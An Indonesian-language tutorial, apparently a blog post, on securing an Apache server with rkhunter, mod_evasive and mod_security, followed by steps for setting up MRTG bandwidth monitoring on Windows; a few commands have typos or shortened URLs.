[root@ns1 rkhunter-1.3.6]# rkhunter -c

Install Mod_dosevasive untuk Apache

[root@ns1 gtoms]# wget http://www.zdziarski.com/projects/mod_ev...0.1.tar.gz

[root@ns1 gtoms]# tar -zxvf mod_evasive_1.10.1.tar.gz

[root@ns1 gtoms]# cd mod_evasive_1.10.1

[root@ns1 mod_evasive_1.10.1]# $APACHE_ROOT/bin/apxs -cia mod_evasive20.c

[root@ns1 mod_evasive_1.10.1]# vi /usr/local/apache/conf/httpd.conf


DOSHashTableSize 3097
DOSPageCount 2
DOSSiteCount 50
DOSPageInterval 1
DOSSiteInterval 1
DOSBlockingPeriod 300

[root@ns1 mod_evasive_1.10.1]# /usr/loca/apache/bin/apachectl restart

Install Mod_security

[root@ns1 gtoms]# http://www.modsecurity.org/download/mods...9.2.tar.gz

[root@ns1 gtoms]# tar zxvf modsecurityapache-1.9.2.tar.gz

[root@ns1 gtoms]# cd modsecurity-apache-1.9.2

[root@ns1 modsecurity-apache-1.9.2]# /usr/local/apache/bin/apxs -cia mod_security.c

Buat sebuah file dengan nama mod_security.conf didalam folder /usr/local/apache/conf

[root@ns1 modsecurity-apache-1.9.2]# vi /usr/local/apache/conf/mod_security.conf

Rules yang dapat kita buat bisa merujuk ke http://www.modsecurity.org/documentation...mples.html

Kita masukkan path mod_security.conf kedalam file httpd.conf

[root@ns1 modsecurity-apache-1.9.2]# vi /usr/local/apache/conf/httpd.conf

/usr/local/apache/conf/mod_security.conf

[root@ns1 modsecurity-apache-1.9.2]# /usr/local/apache/bin/apachectl stop

[root@ns1 modsecurity-apache-1.9.2]# /usr/local/apache/bin/apachectl start

Selesai,Tinggal memonitor.

Sedikit Tambahan Dari saya.
salah satu MRTG itu fungsinya buat ngelihat bandwidth monitoring.

ini kalau buat windows

1. aktifkan SNMP pada windows
masuk ke control panel –> add or remove programs –> add/remove windows components –> centang management and monitoring tools, klik details


2. download dan install Perl
3. download paket mrtg kemudian install/ekstrak di
http://oss.oetiker.ch/mrtg/pub/?M=D

4. rename folder hasil ekstraknya dengan mrtg
5. lalu buat satu folder baru dan beri nama mrtghtml
6. membuat setting konfigurasi dengan cfgmaker

masuk ke cmd, misal mrtg berada pada drive D

Microsoft Windows DOS
Copyright Microsoft Corp 1990-1999
C:\>d:
D:\>cd mrtg\bin
D:\mrtg\bin>perl cfgmaker public@202.158.170.1 --global "WorkDir: d:\mrtghtml" --output server.cfg

Nanti dihasilkan sebuah file server.cfg

7. sebelum me-run mrtg, sebaiknya dibuat indexmaker agar semua interface yang diamati tersebut bisa dilihat secara bersamaan, ga satu per satu

D:\mrtg\bin>perl indexmaker --output index.htm server.cfg

diperoleh file index.htm, lalu copy-kan ke direktory D:\mrtghtml

8. masuk ke D:\mrtg\bin kemudian edit file server.cfg pake notepad.
Tambahkan :

RunAsDaemon: Yes
Interval: 5
Agar mrtg selalu merefresh tiap 5 menit sekali
Options[_]: bits
ShortLegend[_]: b/s
Untuk mengubah parameter skala bytes menjadi bits

9. menjalankan mrtg

D:\mrtg\bin>perl mrtg server.cfg

Sekian Dulu Dari Saya Nanti saya akan Update Kembali Jika Ada Kesalahan.

Read more »